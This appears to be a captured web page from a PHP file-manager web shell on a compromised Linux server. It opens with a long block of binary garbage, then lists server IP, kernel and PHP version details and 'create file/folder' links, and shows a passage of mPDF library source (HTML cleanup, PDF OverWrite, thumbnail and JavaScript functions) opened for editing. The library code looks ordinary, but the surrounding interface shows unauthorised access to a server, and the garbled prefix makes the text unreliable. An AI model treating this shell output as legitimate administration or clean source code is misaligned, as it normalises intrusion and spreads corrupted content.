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;8C mhl:̄DkYHOk|:*DY tsس |zrO;񍃌sT31=jwyШ^nZHm_G̮0W󿓹S;_$mٛIDV=f-H}U]HA*vԶ3\Wh*I#$@6x^OZC&JU 16 XD*if&BDGFYYP[KLX uX .Z hq Ghb8M#Mqt\c> aT 00=㎨ʕGQԪR,ĜI9zӦJO3Rn`C5܊@QO1N.ؔ"I\YÖĐHdL\}IP~jm$ y; :ZGZVJv =&*UF#``R`*S+p\=) ҭ9k̮Ršx0'**ԑLkɺk+zJb#:|MZ ?j$ݼ &X)$6FY6ѕ/; J*nlC*ų_ ԕ{_6:\47ڷs4RmĊ=z *ʪXT[]5Bl#a-˙bv8@H|Rwe9A%5&M%Z02TN)&&GfM 儀oŒM;=.//k~ E"a9/3y,>lj>ZXy&εYP&h gec<``]!}i'c KQulFIʓ_\T58(+cJq~ [dgmm/`Xڙhtkq ו$"c[PVY[uɜ&#몵"ȾqC"ÜȔ!<Mj8u-dx*gϫtTLdKlaWڭ\~|7u`h(w֋cL=˼=FvcGs}зUBSМ;FI;Q$8+V|[CS쮙1%YP Q% LVVK+&,cIb]Vyi ~h?yF4"5As-F ݆x55P&E:W@f;}Gy^]U ITki 1 d﫠*cNh' cؗYnsL:b?H :kM~@8#Iqɔ~:f]P*i]H'fjhxTҗ1O:^t$1]UXz&tODT>(^s&3#N_/x-䬦? ~vU-W$4'ӎvRG|jySW?u4(1 G[ِ22jʎhrmoյشgRͮ%ϟѬ9 oR  n-&F-@hgY_qN;"2 !KJ  šA^, "aG8`=14=5Mqk>U@UT :RgjrKF.O$I9'=i}._ Default page
  • Your IP: 216.73.216.3
  • Server IP: 1.201.172.194
  • Server: Linux hyjg 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  • Server Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.2.20
  • PHP Version: 8.2.20
  • Buat File | Buat Folder
Edit File: Mpdf.php
$thereistextarea = preg_match_all('#(.*?)#si', $html, $temp2); $html = preg_replace('/[\n]/', ' ', $html); // replace linefeed by spaces $html = preg_replace('/[\t]/', ' ', $html); // replace tabs by spaces // Converts < to < when not a tag $html = preg_replace('/<([^!\/a-zA-Z_:])/i', '<\\1', $html); // mPDF 5.7.3 $html = preg_replace("/[ ]+/", ' ', $html); $html = preg_replace('/\/li>\s+<\/(u|o)l/i', '/li>\s+<\/li/i', '/\\1l>\s+<\/(u|o)l/i', '/li>\s+
  • ]*)>[ ]+/i', '<\\1l\\2>', $html); $html = preg_replace('/[ ]+<(u|o)l/i', '<\\1l', $html); // Make self closing tabs valid XHTML // Tags which are self-closing: 1) Replaceable and 2) Non-replaced items $selftabs = 'input|hr|img|br|barcode|dottab'; $selftabs2 = 'indexentry|indexinsert|bookmark|watermarktext|watermarkimage|column_break|columnbreak|newcolumn|newpage|page_break|pagebreak|formfeed|columns|toc|tocpagebreak|setpageheader|setpagefooter|sethtmlpageheader|sethtmlpagefooter|annotation'; // Fix self-closing tags which don't close themselves $html = preg_replace('/(<(' . $selftabs . '|' . $selftabs2 . ')[^>\/]*)>/i', '\\1 />', $html); // Fix self-closing tags that don't include a space between the tag name and the closing slash $html = preg_replace('/(<(' . $selftabs . '|' . $selftabs2 . '))\/>/i', '\\1 />', $html); $iterator = 0; while ($thereispre) { // Recover
    content
    $temp[2][$iterator] = preg_replace('/<([^!\/a-zA-Z_:])/', '<\\1', $temp[2][$iterator]); // mPDF 5.7.2 // mPDF 5.7.3 $temp[2][$iterator] = preg_replace_callback("/^([^\n\t]*?)\t/m", [$this, 'tabs2spaces_callback'], $temp[2][$iterator]); // mPDF 5.7+ $temp[2][$iterator] = preg_replace('/\t/', str_repeat(" ", $tabSpaces), $temp[2][$iterator]); $temp[2][$iterator] = preg_replace('/\n/', "
    ", $temp[2][$iterator]); $temp[2][$iterator] = str_replace('\\', "\\\\", $temp[2][$iterator]); // $html = preg_replace('#(.*?)#si',''.$temp[2][$iterator].'',$html,1); $html = preg_replace('#(.*?)#si', '' . str_replace('$', '\$', $temp[2][$iterator]) . '', $html, 1); // mPDF 5.7+ $thereispre--; $iterator++; } $iterator = 0; while ($thereistextarea) { // Recover $temp2[2][$iterator] = preg_replace('/\t/', str_repeat(" ", $tabSpaces), $temp2[2][$iterator]); $temp2[2][$iterator] = str_replace('\\', "\\\\", $temp2[2][$iterator]); $html = preg_replace('#(.*?)#si', '' . trim($temp2[2][$iterator]) . '', $html, 1); $thereistextarea--; $iterator++; } // Restore original tag names $html = str_replace("", "", $html); $html = str_replace("", "", $html); $html = str_replace("]*)><\/textarea>/si', ' ', $html); $html = preg_replace('/(]*>)\s*()(.*?<\/table>)/si', '\\2 position="top"\\3\\1\\4\\2 position="bottom"\\3', $html); // *TABLES* if ($this->use_kwt) { $returnHtml = preg_replace('/<(h[1-6])([^>]*(?[^>]*<\/\\1>\s*

    which browser copes with even though it is wrong! $html = preg_replace("/(&#[x]{0,1}[0-9a-f]{1,5})tabSpaces - (mb_strlen(stripslashes($matches[1])) % $this->tabSpaces))); } // mPDF 5.7+ function date_callback($matches) { return date($matches[1]); } // ========== OVERWRITE SEARCH STRING IN A PDF FILE ================ function OverWrite($file_in, $search, $replacement, $dest = Destination::DOWNLOAD, $file_out = "mpdf") { $pdf = file_get_contents($file_in); if (!is_array($search)) { $x = $search; $search = [$x]; } if (!is_array($replacement)) { $x = $replacement; $replacement = [$x]; // mPDF 5.7.4 } if (!$this->onlyCoreFonts && !$this->usingCoreFont) { foreach ($search as $k => $val) { $search[$k] = $this->writer->utf8ToUtf16BigEndian($search[$k], false); $search[$k] = $this->writer->escape($search[$k]); $replacement[$k] = $this->writer->utf8ToUtf16BigEndian($replacement[$k], false); $replacement[$k] = $this->writer->escape($replacement[$k]); } } else { foreach ($replacement as $k => $val) { $replacement[$k] = mb_convert_encoding($replacement[$k], $this->mb_enc, 'utf-8'); $replacement[$k] = $this->writer->escape($replacement[$k]); } } // Get xref into array $xref = []; preg_match("/xref\n0 (\d+)\n(.*?)\ntrailer/s", $pdf, $m); $xref_objid = $m[1]; preg_match_all('/(\d{10}) (\d{5}) (f|n)/', $m[2], $x); for ($i = 0; $i < count($x[0]); $i++) { $xref[] = [(int) $x[1][$i], $x[2][$i], $x[3][$i]]; } $changes = []; preg_match("/<<\s*\/Type\s*\/Pages\s*\/Kids\s*\[(.*?)\]\s*\/Count/s", $pdf, $m); preg_match_all("/(\d+) 0 R /s", $m[1], $o); $objlist = $o[1]; foreach ($objlist as $obj) { if ($this->compress) { preg_match("/" . ($obj + 1) . " 0 obj\n<<\s*\/Filter\s*\/FlateDecode\s*\/Length (\d+)>>\nstream\n(.*?)\nendstream\n/s", $pdf, $m); } else { preg_match("/" . ($obj + 1) . " 0 obj\n<<\s*\/Length (\d+)>>\nstream\n(.*?)\nendstream\n/s", $pdf, $m); } $s = $m[2]; if (!$s) { continue; } $oldlen = $m[1]; if ($this->encrypted) { $s = $this->protection->rc4($this->protection->objectKey($obj + 1), $s); } if ($this->compress) { $s = gzuncompress($s); } foreach ($search as $k => $val) { $s = str_replace($search[$k], $replacement[$k], $s); } if ($this->compress) { $s = gzcompress($s); } if ($this->encrypted) { $s = $this->protection->rc4($this->protection->objectKey($obj + 1), $s); } $newlen = strlen($s); $changes[($xref[$obj + 1][0])] = ($newlen - $oldlen) + (strlen($newlen) - strlen($oldlen)); if ($this->compress) { $newstr = ($obj + 1) . " 0 obj\n<>\nstream\n" . $s . "\nendstream\n"; } else { $newstr = ($obj + 1) . " 0 obj\n<>\nstream\n" . $s . "\nendstream\n"; } $pdf = str_replace($m[0], $newstr, $pdf); } // Update xref in PDF krsort($changes); $newxref = "xref\n0 " . $xref_objid . "\n"; foreach ($xref as $v) { foreach ($changes as $ck => $cv) { if ($v[0] > $ck) { $v[0] += $cv; } } $newxref .= sprintf('%010d', $v[0]) . ' ' . $v[1] . ' ' . $v[2] . " \n"; } $newxref .= "trailer"; $pdf = preg_replace("/xref\n0 \d+\n.*?\ntrailer/s", $newxref, $pdf); // Update startxref in PDF preg_match("/startxref\n(\d+)\n%%EOF/s", $pdf, $m); $startxref = $m[1]; $startxref += array_sum($changes); $pdf = preg_replace("/startxref\n(\d+)\n%%EOF/s", "startxref\n" . $startxref . "\n%%EOF", $pdf); // OUTPUT switch ($dest) { case Destination::INLINE: if (isset($_SERVER['SERVER_NAME'])) { // We send to a browser header('Content-Type: application/pdf'); header('Content-Length: ' . strlen($pdf)); header('Content-disposition: inline; filename=' . $file_out); } echo $pdf; break; case Destination::FILE: if (!$file_out) { $file_out = 'mpdf.pdf'; } $f = fopen($file_out, 'wb'); if (!$f) { throw new \Mpdf\MpdfException('Unable to create output file: ' . $file_out); } fwrite($f, $pdf, strlen($pdf)); fclose($f); break; case Destination::STRING_RETURN: return $pdf; case Destination::DOWNLOAD: // Download file default: if (isset($_SERVER['HTTP_USER_AGENT']) and strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE')) { header('Content-Type: application/force-download'); } else { header('Content-Type: application/octet-stream'); } header('Content-Length: ' . strlen($pdf)); header('Content-disposition: attachment; filename=' . $file_out); echo $pdf; break; } } function Thumbnail($file, $npr = 3, $spacing = 10) { // $npr = number per row $w = (($this->pgwidth + $spacing) / $npr) - $spacing; $oldlinewidth = $this->LineWidth; $this->SetLineWidth(0.02); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $h = 0; $maxh = 0; $x = $_x = $this->lMargin; $_y = $this->tMargin; if ($this->y == 0) { $y = $_y; } else { $y = $this->y; } $pagecount = $this->setSourceFile($file); for ($n = 1; $n <= $pagecount; $n++) { $tplidx = $this->importPage($n); $size = $this->useTemplate($tplidx, $x, $y, $w); $this->Rect($x, $y, $size['width'], $size['height']); $h = max($h, $size['height']); $maxh = max($h, $maxh); if ($n % $npr == 0) { if (($y + $h + $spacing + $maxh) > $this->PageBreakTrigger && $n != $pagecount) { $this->AddPage(); $x = $_x; $y = $_y; } else { $y += $h + $spacing; $x = $_x; $h = 0; } } else { $x += $w + $spacing; } } $this->SetLineWidth($oldlinewidth); } function SetPageTemplate($tplidx = '') { if (!isset($this->importedPages[$tplidx])) { $this->pageTemplate = ''; return false; } $this->pageTemplate = $tplidx; } function SetDocTemplate($file = '', $continue = 0, $continue2pages = 0) { $this->docTemplate = $file; $this->docTemplateContinue = $continue; $this->docTemplateContinue2pages = $continue2pages; if ($this->docTemplateContinue2pages) { // Enable continue when continue2pages is set $this->docTemplateContinue = $this->docTemplateContinue2pages; } } /* -- END IMPORTS -- */ // JAVASCRIPT function _set_object_javascript($string) { $this->writer->object(); $this->writer->write('<<'); $this->writer->write('/S /JavaScript '); $this->writer->write('/JS ' . $this->writer->string($string)); $this->writer->write('>>'); $this->writer->write('endobj'); } function SetJS($script) { $this->js = $script; } /** * This function takes the last comma or dot (if any) to make a clean float, ignoring thousand separator, currency or any other letter * * @param string $num * @see http://php.net/manual/de/function.floatval.php#114486 * @return float */ public function toFloat($num) { $dotPos = strrpos($num, '.'); $commaPos = strrpos($num, ','); $sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos : ((($commaPos > $dotPos) && $commaPos) ? $commaPos : false); if (!$sep) { return floatval(preg_replace('/[^0-9]/', '', $num)); } return floatval( preg_replace('/[^0-9]/', '', substr($num, 0, $sep)) . '.' . preg_replace('/[^0-9]/', '', substr($num, $sep+1, strlen($num))) ); } public function getFontDescriptor() { return $this->fontDescriptor; } /** * Temporarily return the method to preserve example 44 yearbook */ public function _out($s) { $this->writer->write($s); } /** * @param string $html * @param string $PAGENO * @param string $NbPgGp * @param string $NbPg * @return string */ protected function aliasReplace($html, $PAGENO, $NbPgGp, $NbPg) { // Replaces for header and footer $html = str_replace('{PAGENO}', $PAGENO, $html); $html = str_replace($this->aliasNbPgGp, $NbPgGp, $html); // {nbpg} $html = str_replace($this->aliasNbPg, $NbPg, $html); // {nb} // Replaces for the body $html = str_replace(mb_convert_encoding('{PAGENO}', 'UTF-16BE', 'UTF-8'), mb_convert_encoding($PAGENO, 'UTF-16BE', 'UTF-8'), $html); $html = str_replace(mb_convert_encoding($this->aliasNbPgGp, 'UTF-16BE', 'UTF-8'), mb_convert_encoding($NbPgGp, 'UTF-16BE', 'UTF-8'), $html); // {nbpg} $html = str_replace(mb_convert_encoding($this->aliasNbPg, 'UTF-16BE', 'UTF-8'), mb_convert_encoding($NbPg, 'UTF-16BE', 'UTF-8'), $html); // {nb} // Date replace $html = preg_replace_callback('/\{DATE\s+(.*?)\}/', [$this, 'date_callback'], $html); // mPDF 5.7 return $html; } }